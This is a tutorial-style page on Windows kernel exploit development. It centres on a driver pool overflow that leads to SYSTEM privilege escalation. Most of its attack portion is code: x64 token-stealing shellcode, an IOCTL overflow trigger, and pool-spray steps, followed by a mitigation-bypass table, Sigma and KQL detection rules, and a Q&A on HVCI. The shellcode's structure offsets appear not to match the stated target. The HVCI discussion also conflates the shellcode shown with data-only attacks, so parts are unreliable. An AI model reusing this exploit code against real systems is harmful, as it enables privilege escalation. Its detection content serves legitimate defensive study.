Kernel Exploit Development
Kernel exploits turn a controlled write primitive in kernel address space into a privilege escalation: the classic payload copies the SYSTEM process's Token pointer into the current process's EPROCESS. Understanding the Windows kernel pool, EPROCESS structure layout, and the mitigations (SMEP, SMAP, KASLR, KPP, HVCI) determines which primitives are viable on a given target.
A vulnerable kernel driver exposes an IOCTL that copies user-supplied data into a fixed-size non-paged pool allocation without length validation. The pool buffer is 0x50 bytes; you can overflow into an adjacent pool chunk. The target is Windows 10 22H2 with SMEP enabled, HVCI disabled. Goal: privilege escalation from medium-IL to SYSTEM.
Kernel Exploit Primitives
// Token-stealing shellcode payload (x64 assembly equivalent in C/inline ASM):
// Runs in kernel context (e.g., via arbitrary execution after overflow)
__declspec(naked) VOID TokenStealPayload() {
__asm {
; KPCR → KPRCB → CurrentThread → ApcState.Process → EPROCESS of current process
mov rax, gs:[0x188] ; KPCR.Prcb.CurrentThread (GS base = KPCR)
mov rax, [rax + 0x70] ; KTHREAD.ApcState.Process → KPROCESS/EPROCESS
mov rbx, rax ; rbx = current EPROCESS
; Walk ActiveProcessLinks to find SYSTEM (PID 4)
find_system:
mov rax, [rax + 0x2e8] ; rax = Flink of ActiveProcessLinks
sub rax, 0x2e8 ; back to EPROCESS base
mov rcx, [rax + 0x2e0] ; UniqueProcessId
cmp rcx, 4
jne find_system
; rax = SYSTEM EPROCESS; steal its token
mov rcx, [rax + 0x358] ; System Token (EX_FAST_REF)
and rcx, 0xFFFFFFFFFFFFFFF0 ; mask off low 4 bits (ref count)
mov [rbx + 0x358], rcx ; write to current process Token
ret
}
}
Windows Kernel Pool Overflow
// IOCTL overflow trigger (userland attacker code):
// Vulnerable IOCTL code (simplified kernel driver):
// char buf[0x50];
// RtlCopyMemory(buf, UserBuffer, UserBufferLen); // no length check!
//
// Attacker triggers: DeviceIoControl(hDev, VULN_IOCTL, payload, sizeof(payload), ...)
// payload = 0x50 "A"s + overflow_data (overwrites next pool chunk header + content)
// Strategy: pool spray to control layout
// 1. Spray 0x1000 allocations of an object known to sit in same pool:
// NtCreateEvent() → EventObject allocates from NonPagedPoolNx in object pool
// 2. Trigger allocation of our target object (via IOCTL or driver interaction)
// 3. Free every other sprayed EventObject → creates holes
// 4. Trigger vulnerable IOCTL → overflow into adjacent hole
// If next chunk is our chosen object type, we corrupt its header/content
// Pool chunk header (NT 19H1+): encoded with PoolCookie to prevent blind header writes
// Pool cookie: RtlpHpHeapGlobals XOR ^chunk_addr → prevents arbitrary pool header write
// Bypass: need an info-leak to learn cookie, OR target object whose corruption within
// the DATA portion (not header) is exploitable without touching the header.
// PipeAttribute object (non-paged pool): no header pointer at user-controllable offset
// but data region contains a pointer that is dereferenced → arbitrary kernel read/write
// (Used in HEVD-class exploits against Win10 builds without Segment Heap for pool)
#define VULN_IOCTL 0x222000
BOOL TriggerOverflow(HANDLE hDev, BYTE* extraData, DWORD extraLen) {
DWORD totalLen = 0x50 + extraLen;
BYTE* payload = (BYTE*)malloc(totalLen);
memset(payload, 0x41, 0x50);
memcpy(payload + 0x50, extraData, extraLen);
DWORD ret;
return DeviceIoControl(hDev, VULN_IOCTL, payload, totalLen, NULL, 0, &ret, NULL);
}
Kernel Exploit Mitigations
| Mitigation | What it blocks | Notes / bypass state |
|---|---|---|
| SMEP (Supervisor Mode Execution Prevention) | Kernel executing code at user-mode addresses | CR4.SMEP; bypass: ROP to pivot stack to kernel address before jumping to shellcode |
| SMAP (Supervisor Mode Access Prevention) | Kernel reading/writing user-mode memory without STAC/CLAC | Prevents kernel spraying user-mode shellcode; requires kernel-address payload |
| KASLR | Predictable kernel base address | Typical 512 possible positions; HW entropy; requires info-leak to determine base |
| KPP (PatchGuard) | Kernel code/data integrity (SSDT, IDT, EPROCESS) | Periodic check; modifying SSDT causes 0x109 BSOD. Token field is NOT monitored. |
| HVCI | VTL0 kernel memory W^X via hypervisor SLAT | Blocks unsigned code injection in kernel; still allows data-only exploits (token steal) |
| Pool encoding (Win10 19H1+) | Blind pool header overwrites | Pool cookie derived from chunk address; requires info-leak to forge valid header |
| Safe Unlinking (Pool) | Free-list unlink attack | Validates fwd/bk pointer; must target object data, not list headers |
Detection Engineering
title: Kernel Exploit — Token Stealing (Privileged Process Spawned from Low-IL Parent)
logsource:
product: windows
category: process_creation
detection:
system_child:
User: 'NT AUTHORITY\SYSTEM'
ParentIntegrityLevel: 'Medium'
condition: system_child
level: critical
tags: [attack.privilege_escalation, T1068]
title: Vulnerable Driver IOCTL — Known HEVD / CVE-XXXX IOCTL Code
logsource:
product: windows
service: system
detection:
selection:
EventID: 7045 # new service / driver installed
ServiceType: 'kernel mode driver'
ServiceName|contains:
- 'gdrv'
- 'HEVD'
- 'RTCore'
condition: selection
level: high
-- MDE KQL: process whose integrity level jumped from Medium to System
DeviceProcessEvents
| where AccountName == "SYSTEM"
| where InitiatingProcessIntegrityLevel == "Medium"
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
-- MDE KQL: loading of unsigned / low-reputation kernel driver
DeviceDriverEvents
| where ActionType == "DriverLoad"
| where not(InitiatingProcessFileName =~ "services.exe")
or not(isnotempty(SHA1))
| project Timestamp, DeviceName, FileName, SHA1, InitiatingProcessFileName
Q&A
Why does the token-stealing payload still work on systems with HVCI enabled, even though HVCI enforces kernel W^X, and what category of exploit does HVCI actually block?
HVCI (Hypervisor-Protected Code Integrity) uses the hypervisor's Second Level Address Translation (SLAT) tables to enforce that all kernel-mode pages are either writable or executable, but never both simultaneously. Any attempt to create a kernel-mode RWX page — such as allocating non-paged pool and then executing injected shellcode from it — results in a SLAT fault that prevents execution. Additionally, HVCI enforces that only code signed by Windows or a trusted kernel-mode code signing certificate is marked executable in kernel mode.
The token-stealing payload is a data-only exploit: it does not inject new executable code into the kernel. Instead, it reads from and writes to existing kernel data structures — the EPROCESS.Token field and the EPROCESS.ActiveProcessLinks list. These are data pages, not code pages, and HVCI has no authority over data reads and writes. A write-what-where primitive obtained through a driver vulnerability (pool overflow, IOCTL arbitrary write) operates entirely on kernel data and is not blocked by HVCI because the hypervisor's W^X policy only constrains page execution attributes, not what data can be read or written.
HVCI effectively blocks: (1) loading unsigned kernel drivers, (2) patching kernel code in memory (e.g., SSDT hooks, inline hooks in ntoskrnl), (3) executing shellcode injected into kernel-mode allocated non-paged pool. It does not block: data-only exploits that corrupt kernel structures without executing injected code, BYOVD attacks that use a signed-but-vulnerable driver (the driver is already signed and allowed), or attacks that exploit the vulnerable driver's own signed code to perform the write primitive.